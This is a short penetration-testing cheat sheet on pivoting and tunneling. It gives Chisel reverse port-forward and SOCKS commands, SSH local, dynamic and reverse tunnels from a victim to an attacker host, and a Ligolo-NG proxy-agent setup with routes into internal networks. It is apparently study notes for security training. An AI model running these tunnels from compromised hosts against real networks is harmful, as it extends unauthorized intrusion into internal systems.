Pivot & Tunneling

Sshhhhhhhhhhhhhh

Chisel -Port To Port

https://github.com/jpillora/chisel

#on attacker machine
chisel server -p 6969 --reverse

#on target machine
chisel.exe client <attacker-ip>:<attacker-chisel-port> R:<port-to-forward>:127.0.0.1:<port-to-forward>/tcp

Chisel - SOCKS

#on attacker machine
chisel server -p 6969 --reverse

#on target machine
chisel.exe client <attacker-ip>:<attacker-chisel-port> R:<port-to-forward>:127.0.0.1:socks

SSH local port forwarding

ssh user@<machina-ip> -T -L <your-port>:localhost:<remote/victim port>

You can then browse/connect to localhost:your-port to acess victim:remote--port

SSH forward dynamic (SOCKS) proxy

ssh -D localhost:9999 -f -N target@<target-ip>

Reverse SSH tunnel

One common scenario is gaining a foothold without credentials so you can't bind ssh tunnel. But you can still reverse SSH tunnel from the victim to your box. Using the following technique, you'll be able to reach those.

ssh -N -R 3306:localhost:3306 kali@<attacker-ip>

Reverse SSH Dynamic (SOCKS) tunnel

ssh -N -R 127.0.0.1:9090 kali@<attacker-ip>

Ligolo-NG

https://github.com/nicocha30/ligolo-ng

A coworker of mine showed me this and I instantly fell in love with the concept. It has a proxy-agent system and it works just like a VPN using a TUN interface.

Setup TUN interface

sudo ip tuntap add user kali mode tun ligolo  
sudo ip link set ligolo up  

Start proxy (agent handler)

./proxy -selfcert -laddr 10.10.14.21:443  
WARN[0000] Using automatically generated self-signed certificates (Not recommended)   
INFO[0000] Listening on 10.10.14.21:443  

Connect an agent to the proxy

./agent -connect 10.10.14.21:443 -ignore-cert  
WARN[0000] warning, certificate validation disabled       
INFO[0000] Connection established  

Session management from agent

session   -> choose session  
start

# add routes for networks (usually internal networks)  
sudo ip route add 192.168.210.0/24 dev ligolo  
sudo ip route add 192.168.110.0/24 dev ligolo  

Configure port forwarding

listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp